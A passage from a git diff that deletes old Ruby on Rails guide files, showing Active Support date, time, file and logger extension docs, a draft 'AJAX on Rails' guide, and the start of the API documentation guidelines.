-date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
-</ruby>
-
-Similarly, +since+ moves forward:
-
-<ruby>
-date = Date.current # => Fri, 11 Jun 2010
-date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
-</ruby>
-
-h5. Other Time Computations
-
-h4(#date-conversions). Conversions
-
-h3. Extensions to +DateTime+
-
-WARNING: +DateTime+ is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example +seconds_since_midnight+ might not return the real amount in such a day.
-
-h4(#calculations-datetime). Calculations
-
-NOTE: All the following methods are defined in +active_support/core_ext/date_time/calculations.rb+.
-
-The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_ext/date/calculations.rb+ you inherit these methods and their aliases, except that they will always return datetimes:
-
-<ruby>
-yesterday
-tomorrow
-beginning_of_week (monday, at_beginning_of_week)
-end_on_week (at_end_of_week)
-weeks_ago
-prev_week
-next_week
-months_ago
-months_since
-beginning_of_month (at_beginning_of_month)
-end_of_month (at_end_of_month)
-prev_month
-next_month
-beginning_of_quarter (at_beginning_of_quarter)
-end_of_quarter (at_end_of_quarter)
-beginning_of_year (at_beginning_of_year)
-end_of_year (at_end_of_year)
-years_ago
-years_since
-prev_year
-next_year
-</ruby>
-
-The following methods are reimplemented so you do *not* need to load +active_support/core_ext/date/calculations.rb+ for these ones:
-
-<ruby>
-beginning_of_day (midnight, at_midnight, at_beginning_of_day)
-end_of_day
-ago
-since (in)
-</ruby>
-
-On the other hand, +advance+ and +change+ are also defined and support more options, they are documented below.
-
-h5. Named Datetimes
-
-h6. +DateTime.current+
-
-Active Support defines +DateTime.current+ to be like +Time.now.to_datetime+, except that it honors the user time zone, if defined. It also defines +DateTime.yesterday+ and +DateTime.tomorrow+, and the instance predicates +past?+, and +future?+ relative to +DateTime.current+.
-
-h5. Other Extensions
-
-h6. +seconds_since_midnight+
-
-The method +seconds_since_midnight+ returns the number of seconds since midnight:
-
-<ruby>
-now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
-now.seconds_since_midnight # => 73596
-</ruby>
-
-h6(#utc-datetime). +utc+
-
-The method +utc+ gives you the same datetime in the receiver expressed in UTC.
-
-<ruby>
-now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
-now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
-</ruby>
-
-This method is also aliased as +getutc+.
-
-h6. +utc?+
-
-The predicate +utc?+ says whether the receiver has UTC as its time zone:
-
-<ruby>
-now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
-now.utc?           # => false
-now.utc.utc?       # => true
-</ruby>
-
-h6(#datetime-advance). +advance+
-
-The most generic way to jump to another datetime is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, +:hours+, +:minutes+, and +:seconds+, and returns a datetime advanced as much as the present keys indicate.
-
-<ruby>
-d = DateTime.current
-# => Thu, 05 Aug 2010 11:33:31 +0000
-d.advance(:years => 1, :months => 1, :days => 1, :hours => 1, :minutes => 1, :seconds => 1)
-# => Tue, 06 Sep 2011 12:34:32 +0000
-</ruby>
-
-This method first computes the destination date passing +:years+, +:months+, +:weeks+, and +:days+ to +Date#advance+ documented above. After that, it adjusts the time calling +since+ with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in +Date#advance+ applies, and we can extend it to show order relevance related to the time bits.
-
-If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
-
-<ruby>
-d = DateTime.new(2010, 2, 28, 23, 59, 59)
-# => Sun, 28 Feb 2010 23:59:59 +0000
-d.advance(:months => 1, :seconds => 1)
-# => Mon, 29 Mar 2010 00:00:00 +0000
-</ruby>
-
-but if we computed them the other way around, the result would be different:
-
-<ruby>
-d.advance(:seconds => 1).advance(:months => 1)
-# => Thu, 01 Apr 2010 00:00:00 +0000
-</ruby>
-
-WARNING: Since +DateTime+ is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
-
-h5(#datetime-changing-components). Changing Components
-
-The method +change+ allows you to get a new datetime which is the same as the receiver except for the given options, which may include +:year+, +:month+, +:day+, +:hour+, +:min+, +:sec+, +:offset+, +:start+:
-
-<ruby>
-now = DateTime.current
-# => Tue, 08 Jun 2010 01:56:22 +0000
-now.change(:year => 2011, :offset => Rational(-6, 24))
-# => Wed, 08 Jun 2011 01:56:22 -0600
-</ruby>
-
-If hours are zeroed, then minutes and seconds are too (unless they have given values):
-
-<ruby>
-now.change(:hour => 0)
-# => Tue, 08 Jun 2010 00:00:00 +0000
-</ruby>
-
-Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
-
-<ruby>
-now.change(:min => 0)
-# => Tue, 08 Jun 2010 01:00:00 +0000
-</ruby>
-
-This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
-
-<ruby>
-DateTime.current.change(:month => 2, :day => 30)
-# => ArgumentError: invalid date
-</ruby>
-
-h5(#datetime-durations). Durations
-
-Durations can be added to and subtracted from datetimes:
-
-<ruby>
-now = DateTime.current
-# => Mon, 09 Aug 2010 23:15:17 +0000
-now + 1.year
-# => Tue, 09 Aug 2011 23:15:17 +0000
-now - 1.week
-# => Mon, 02 Aug 2010 23:15:17 +0000
-</ruby>
-
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-
-<ruby>
-DateTime.new(1582, 10, 4, 23) + 1.hour
-# => Fri, 15 Oct 1582 00:00:00 +0000
-</ruby>
-
-h3. Extensions to +Time+
-
-h4(#time-calculations). Calculations
-
-NOTE: All the following methods are defined in +active_support/core_ext/time/calculations.rb+.
-
-Active Support adds to +Time+ many of the methods available for +DateTime+:
-
-<ruby>
-past?
-today?
-future?
-yesterday
-tomorrow
-seconds_since_midnight
-change
-advance
-ago
-since (in)
-beginning_of_day (midnight, at_midnight, at_beginning_of_day)
-end_of_day
-beginning_of_week (monday, at_beginning_of_week)
-end_on_week (at_end_of_week)
-weeks_ago
-prev_week
-next_week
-months_ago
-months_since
-beginning_of_month (at_beginning_of_month)
-end_of_month (at_end_of_month)
-prev_month
-next_month
-beginning_of_quarter (at_beginning_of_quarter)
-end_of_quarter (at_end_of_quarter)
-beginning_of_year (at_beginning_of_year)
-end_of_year (at_end_of_year)
-years_ago
-years_since
-prev_year
-next_year
-</ruby>
-
-They are analogous. Please refer to their documentation above and take into account the following differences:
-
-* +change+ accepts an additional +:usec+ option.
-* +Time+ understands DST, so you get correct DST calculations as in
-
-<ruby>
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-
-# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
-t = Time.local_time(2010, 3, 28, 1, 59, 59)
-# => Sun Mar 28 01:59:59 +0100 2010
-t.advance(:seconds => 1)
-# => Sun Mar 28 03:00:00 +0200 2010
-</ruby>
-
-* If +since+ or +ago+ jump to a time that can't be expressed with +Time+ a +DateTime+ object is returned instead.
-
-h5. +Time.current+
-
-Active Support defines +Time.current+ to be today in the current time zone. That's like +Time.now+, except that it honors the user time zone, if defined. It also defines +Time.yesterday+ and +Time.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Time.current+.
-
-When making Time comparisons using methods which honor the user time zone, make sure to use +Time.current+ and not +Time.now+. There are cases where the user time zone might be in the future compared to the system time zone, which +Time.today+ uses by default. This means +Time.now+ may equal +Time.yesterday+.
-
-h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+
-
-The method +all_day+ returns a range representing the whole day of the current time.
-
-<ruby>
-now = Time.current
-# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
-now.all_day
-# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
-</ruby>
-
-Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
-
-<ruby>
-now = Time.current
-# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
-now.all_week
-# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
-now.all_month
-# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
-now.all_quarter
-# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
-now.all_year
-# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
-</ruby>
-
-h4. Time Constructors
-
-Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+:
-
-<ruby>
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-Time.current
-# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
-</ruby>
-
-Analogously to +DateTime+, the predicates +past?+, and +future?+ are relative to +Time.current+.
-
-Use the +local_time+ class method to create time objects honoring the user time zone:
-
-<ruby>
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-Time.local_time(2010, 8, 15)
-# => Sun Aug 15 00:00:00 +0200 2010
-</ruby>
-
-The +utc_time+ class method returns a time in UTC:
-
-<ruby>
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-Time.utc_time(2010, 8, 15)
-# => Sun Aug 15 00:00:00 UTC 2010
-</ruby>
-
-Both +local_time+ and +utc_time+ accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.
-
-If the time to be constructed lies beyond the range supported by +Time+ in the runtime platform, usecs are discarded and a +DateTime+ object is returned instead.
-
-h5(#time-durations). Durations
-
-Durations can be added to and subtracted from time objects:
-
-<ruby>
-now = Time.current
-# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
-now + 1.year
-#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
-now - 1.week
-# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
-</ruby>
-
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-
-<ruby>
-Time.utc_time(1582, 10, 3) + 5.days
-# => Mon Oct 18 00:00:00 UTC 1582
-</ruby>
-
-h3. Extensions to +Process+
-
-h4. +daemon+
-
-Ruby 1.9 provides +Process.daemon+, and Active Support defines it for previous versions. It accepts the same two arguments, whether it should chdir to the root directory (default, true), and whether it should inherit the standard file descriptors from the parent (default, false).
-
-h3. Extensions to +File+
-
-h4. +atomic_write+
-
-With the class method +File.atomic_write+ you can write to a file in a way that will prevent any reader from seeing half-written content.
-
-The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done +atomic_write+ closes the file handle and completes its job.
-
-For example, Action Pack uses this method to write asset cache files like +all.css+:
-
-<ruby>
-File.atomic_write(joined_asset_path) do |cache|
-  cache.write(join_asset_file_contents(asset_paths))
-end
-</ruby>
-
-To accomplish this +atomic_write+ creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists +atomic_write+ overwrites it and keeps owners and permissions.
-
-WARNING. Note you can't append with +atomic_write+.
-
-The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
-
-NOTE: Defined in +active_support/core_ext/file/atomic.rb+.
-
-h3. Extensions to +Logger+
-
-h4. +around_[level]+
-
-Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
-
-<ruby>
-logger = Logger.new("log/development.log")
-logger.around_info("before", "after") { |logger| logger.info("during") }
-</ruby>
-
-h4. +silence+
-
-Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
-
-<ruby>
-logger = Logger.new("log/development.log")
-logger.silence(Logger::INFO) do
-  logger.debug("In space, no one can hear you scream.")
-  logger.info("Scream all you want, small mailman!")
-end
-</ruby>
-
-h4. +datetime_format=+
-
-Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a +datetime_format+ method then this is ignored.
-
-<ruby>
-class Logger::FormatWithTime < Logger::Formatter
-  cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
-
-  def self.call(severity, timestamp, progname, msg)
-    "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
-  end
-end
-
-logger = Logger.new("log/development.log")
-logger.formatter = Logger::FormatWithTime
-logger.info("<- is the current time")
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/logger.rb+.
-
-h3. Extensions to +NameError+
-
-Active Support adds +missing_name?+ to +NameError+, which tests whether the exception was raised because of the name passed as argument.
-
-The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
-
-TIP: A symbol can represent a fully-qualified constant name as in +:"ActiveRecord::Base"+, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
-
-For example, when an action of +PostsController+ is called Rails tries optimistically to use +PostsHelper+. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that +posts_helper.rb+ raises a +NameError+ due to an actual unknown constant. That should be reraised. The method +missing_name?+ provides a way to distinguish both cases:
-
-<ruby>
-def default_helper_module!
-  module_name = name.sub(/Controller$/, '')
-  module_path = module_name.underscore
-  helper module_path
-rescue MissingSourceFile => e
-  raise e unless e.is_missing? "#{module_path}_helper"
-rescue NameError => e
-  raise e unless e.missing_name? "#{module_name}Helper"
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/name_error.rb+.
-
-h3. Extensions to +LoadError+
-
-Active Support adds +is_missing?+ to +LoadError+, and also assigns that class to the constant +MissingSourceFile+ for backwards compatibility.
-
-Given a path name +is_missing?+ tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
-
-For example, when an action of +PostsController+ is called Rails tries to load +posts_helper.rb+, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method +is_missing?+ provides a way to distinguish both cases:
-
-<ruby>
-def default_helper_module!
-  module_name = name.sub(/Controller$/, '')
-  module_path = module_name.underscore
-  helper module_path
-rescue MissingSourceFile => e
-  raise e unless e.is_missing? "helpers/#{module_path}_helper"
-rescue NameError => e
-  raise e unless e.missing_name? "#{module_name}Helper"
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/load_error.rb+.
diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile
deleted file mode 100644
index 3a0ccfe9b2..0000000000
--- a/railties/guides/source/ajax_on_rails.textile
+++ /dev/null
@@ -1,267 +0,0 @@
-h2. AJAX on Rails
-
-This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics:
-
-* Quick introduction to AJAX and related technologies
-* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc
-* Testing JavaScript functionality
-
-endprologue.
-
-h3. Hello AJAX - a Quick Intro
-
-You'll need the basics of DOM, HTTP requests and other topics discussed here to really understand Ajax on Rails.
-
-h4. Asynchronous JavaScript + XML
-
-Basic terminology, new style of creating web apps
-
-h4. The DOM
-
-basics of the DOM, how is it built, properties, features, why is it central to AJAX
-
-h4. Standard HTML communication vs AJAX
-
-How do 'standard' and AJAX requests differ, why does this matter for understanding AJAX on Rails (tie in for *_remote helpers, the next section)
-
-h3. Built-in Rails Helpers
-
-Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as:
-
-<ruby>
-javascript_include_tag :defaults
-</ruby>
-
-h4. Examples
-
-All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method.
-
-<ruby>
-button_to "New", :action => "new", :form_class => "new-thing"
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/controller/new" class="new-thing">
-  <div><input value="New" type="submit" /></div>
-</form>
-</html>
-
-<ruby>
-button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" }
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
-  <div><input value="Create" type="submit" /></div>
-</form>
-</html>
-
-<ruby>
-button_to "Delete Image", { :action => "delete", :id => @image.id },
-             :confirm => "Are you sure?", :method => :delete
-</ruby>
-
-will produce
-
-<html>
-<form method="post" action="/images/delete/1" class="button_to">
-  <div>
-    <input type="hidden" name="_method" value="delete" />
-    <input data-confirm='Are you sure?' value="Delete" type="submit" />
- </div>
-</form>
-</html>
-
-<ruby>
-button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?',
-          :method => "delete", :remote => true, :disable_with => 'loading...')
-</ruby>
-
-will produce
-
-<html>
-<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
-  <div>
-    <input name='_method' value='delete' type='hidden' />
-    <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' />
-  </div>
-</form>
-</html>
-
-You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application.
-
-<shell>
-rails new app_name -j prototype
-</shell>
-
-You are ready to add some AJAX love to your Rails app!
-
-h4. The Quintessential AJAX Rails Helper: link_to_remote
-
-Let's start with what is probably the most often used helper: +link_to_remote+. It has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers.
-
-The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper:
-
-<ruby>
-def link_to_remote(name, options = {}, html_options = nil)
-</ruby>
-
-And here is a simple example of link_to_remote in action:
-
-<ruby>
-link_to_remote "Add to cart",
-  :url => add_to_cart_url(product.id),
-  :update => "cart"
-</ruby>
-
-* The very first parameter, a string, is the text of the link which appears on the page.
-* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff:
-** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too.
-** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
-
-<ruby>
-link_to_remote "Add to cart",
-  :url => add_to_cart_url(product),
-  :update => { :success => "cart", :failure => "error" }
-</ruby>
-
-If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element.
-
-** *position* By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities:
-*** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
-*** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element.
-*** +:top+ Inserts the text into the target element, before it's original content. If the target element was empty, this is equivalent with not specifying +:position+ at all.
-*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content.
-
-A typical example of using +:bottom+ is inserting a new &lt;li&gt; element into an existing list:
-
-<ruby>
-link_to_remote "Add new item",
-  :url => items_url,
-  :update => 'item_list',
-  :position => :bottom
-</ruby>
-
-** *:method* Most typically you want to use a POST request when adding a remote link to your view so this is the default behavior. However, sometimes you'll want to update (PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list:
-
-<ruby>
-link_to_remote "Delete the item",
-  :url => item_url(item),
-  :method => :delete
-</ruby>
-
-Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
-
-** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
-*** +:confirm+ =&gt; +msg+ Pops up a JavaScript confirmation dialog, displaying +msg+. If the user chooses 'OK', the request is launched, otherwise canceled.
-*** +:condition+ =&gt; +code+ Evaluates +code+ (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
-*** +:before+ =&gt; +code+ Evaluates the +code+ just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
-*** +:after+ =&gt; +code+ Evaluates the +code+ after launching the request. Note that this is different from the +:success+ or +:complete+ callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to +:after+ is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
-*** +:submit+ =&gt; +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+.
-*** +:with+ &gt; +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
-
-<ruby>
-link_to_remote "Update record",
-  :url => record_url(record),
-  :method => :put,
-  :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
-</ruby>
-
-This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
-
-** *Callbacks* Since an AJAX call is typically asynchronous, as it's name suggests (this is not a rule, and you can fire a synchronous request - see the last option, +:type+) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
-*** +:loading:+ =&gt; +code+ The request is in the process of receiving the data, but the transfer is not completed yet.
-*** +:loaded:+ =&gt; +code+ The transfer is completed, but the data is not processed and returned yet
-*** +:interactive:+ =&gt; +code+ One step after +:loaded+: The data is fully received and being processed
-*** +:success:+ =&gt; +code+ The data is fully received, parsed and the server responded with "200 OK"
-*** +:failure:+ =&gt; +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
-*** +:complete:+ =&gt; +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
-*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
-<ruby>
-link_to_remote "Add new item",
-  :url => items_url,
-  :update => "item_list",
-  404 => "alert('Item not found!')"
-</ruby>
-Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
-
-<ruby>
-link_to_remote "Add new item",
-  :url => items_url,
-  :update => "item_list",
-  :before => "$('progress').show()",
-  :complete => "$('progress').hide()",
-  :success => "display_item_added(request)",
-  :failure => "display_error(request)"
-</ruby>
-
-** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
-* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
-** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
-** +link_to_remote+ gains it's AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply +html_options[:onclick]+ you override the default behavior, so use this with care!
-
-We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
-
-h4. AJAX Forms
-
-There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:
-
-* +remote_form_for+ (and it's alias +form_remote_for+) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter.
-* +form_remote_tag+ AJAXifies the form by serializing and sending it's data in the background
-* +submit_to_remote+ and +button_to_remote+ is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input
-
-Let's see them in action one by one!
-
-h5. +remote_form_for+
-
-h5. +form_remote_tag+
-
-h5. +submit_to_remote+
-
-h4. Observing Elements
-
-h5. +observe_field+
-
-h5. +observe_form+
-
-h4. Calling a Function Periodically
-
-h5. +periodically_call_remote+
-
-
-h4. Miscellaneous Functionality
-
-h5. +remote_function+
-
-h5. +update_page+
-
-h4. Serving JavaScript
-
-First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
-
-<ruby>
-def javascript_test
-  render :text => "alert('Hello, world!')",
-         :content_type => "text/javascript"
-end
-</ruby>
-
-(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action)
-
-What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
-
-h3. Testing JavaScript
-
-JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
-
-* (Fire)Watir
-* Selenium
-* Celerity/Culerity
-* Cucumber+Webrat
-* Mention stuff like screw.unit/jsSpec
-
-Note to self: check out the RailsConf JS testing video
diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile
deleted file mode 100644
index 99eb668513..0000000000
--- a/railties/guides/source/api_documentation_guidelines.textile
+++ /dev/null
@@ -1,185 +0,0 @@
-h2. API Documentation Guidelines
-
-This guide documents the Ruby on Rails API documentation guidelines.
-
-endprologue.
-
-h3. RDoc
-
-The Rails API documentation is generated with RDoc 2.5. Please consult the documentation for help with the "markup":http://rdoc.rubyforge.org/RDoc/Markup.html, and take into account also these "additional directives":http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html.
-
-h3. Wording
-
-Write simple, declarative sentences. Brevity is a plus: get to the point.
-
-Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".
-
-Start comments in upper case, follow regular punctuation rules:
-
-<ruby>
-# Declares an attribute reader backed by an internally-named instance variable.
-def attr_internal_reader(*attrs)
-  ...
-end
-</ruby>
-
-Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the recommended idioms in edge, reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
-
-Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
-
-The proper names of Rails components have a space in between the words, like "Active Support". +ActiveRecord+ is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
-
-Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
-
-Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
-
-h3. English
-
-Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences.
-
-h3. Example Code
-
-Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
-
-Use two spaces to indent chunks of code--that is two spaces with respect to the left margin; the examples
-themselves should use "Rails coding conventions":contributing_to_ruby_on_rails.html#follow-the-coding-conventions.
-
-Short docs do not need an explicit "Examples" label to introduce snippets, they just follow paragraphs:
-
-<ruby>
-# Converts a collection of elements into a formatted string by calling
-# <tt>to_s</tt> on all elements and joining them.
-#
-#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
-</ruby>
-
-On the other hand, big chunks of structured documentation may have a separate "Examples" section:
-
-<ruby>
-# ==== Examples
-#
-#   Person.exists?(5)
-#   Person.exists?('5')
-#   Person.exists?(:name => "David")
-#   Person.exists?(['name LIKE ?', "%#{query}%"])
-</ruby>
-
-The result of expressions follow them and are introduced by "# => ", vertically aligned:
-
-<ruby>
-# For checking if a fixnum is even or odd.
-#
-#   1.even? # => false
-#   1.odd?  # => true
-#   2.even? # => true
-#   2.odd?  # => false
-</ruby>
-
-If a line is too long, the comment may be placed on the next line:
-
-<ruby>
-#   label(:post, :title)
-#   # => <label for="post_title">Title</label>
-#
-#   label(:post, :title, "A short title")
-#   # => <label for="post_title">A short title</label>
-#
-#   label(:post, :title, "A short title", :class => "title_label")
-#   # => <label for="post_title" class="title_label">A short title</label>
-</ruby>
-
-Avoid using any printing methods like +puts+ or +p+ for that purpose.
-
-On the other hand, regular comments do not use an arrow:
-
-<ruby>
-#   polymorphic_url(record)  # same as comment_url(record)
-</ruby>
-
-h3. Filenames
-
-As a rule of thumb use filenames relative to the application root:
-
-<plain>
-config/routes.rb            # YES
-routes.rb                   # NO
-RAILS_ROOT/config/routes.rb # NO
-</plain>
-
-h3. Fonts
-
-h4. Fixed-width Font
-
-Use fixed-width fonts for:
-* constants, in particular class and module names
-* method names
-* literals like +nil+, +false+, +true+, +self+
-* symbols
-* method parameters
-* file names
-
-<ruby>
-class Array
-  # Calls <tt>to_param</tt> on all its elements and joins the result with
-  # slashes. This is used by <tt>url_for</tt> in Action Pack.
-  def to_param
